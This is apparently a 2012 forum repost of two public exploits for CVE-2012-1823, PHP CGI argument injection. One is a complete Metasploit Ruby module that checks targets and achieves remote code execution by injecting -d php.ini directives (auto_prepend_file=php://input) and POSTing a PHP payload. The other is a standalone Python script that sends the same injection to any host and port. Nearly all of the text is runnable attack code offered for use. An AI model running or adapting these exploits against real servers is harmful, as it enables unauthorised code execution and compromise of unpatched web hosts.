PHP CGI Argument Injection

Nytro · May 7, 2012

[h=1]PHP CGI Argument Injection[/h]

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped '=' in the query string,
                the string is split on '+' (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the "encoded in
                a system-defined manner" from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path

        uri.gsub!(/\?.*/, "")

        print_status("Checking uri #{uri}")

        response = send_request_raw({ 'uri' => uri })

        if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
            print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
            return Exploit::CheckCode::Unknown
        end

        response = send_request_raw({ 'uri' => uri + '?-s'})
        if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
            return Exploit::CheckCode::Vulnerable
        end

        print_error("Server responded indicating it was not vulnerable")
        return Exploit::CheckCode::Safe
    end

    def exploit
        begin
            args = [
                "-d+allow_url_include%3d#{rand_php_ini_true}",
                "-d+safe_mode%3d#{rand_php_ini_false}",
                "-d+suhosin.simulation%3d#{rand_php_ini_true}",
                "-d+disable_functions%3d%22%22",
                "-d+open_basedir%3dnone",
                "-d+auto_prepend_file%3dphp://input",
                "-n"
            ]

            qs = args.join("+")
            uri = "#{target_uri}?#{qs}"

            # Has to be all on one line, so gsub out the comments and the newlines
            payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
            response = send_request_cgi( {
                'method' => "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.5)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end

    end

    def rand_php_ini_false
        Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
    end

    def rand_php_ini_true
        Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
    end

end

[h=1]PHP CGI Argument Injection Exploit[/h]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)

if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)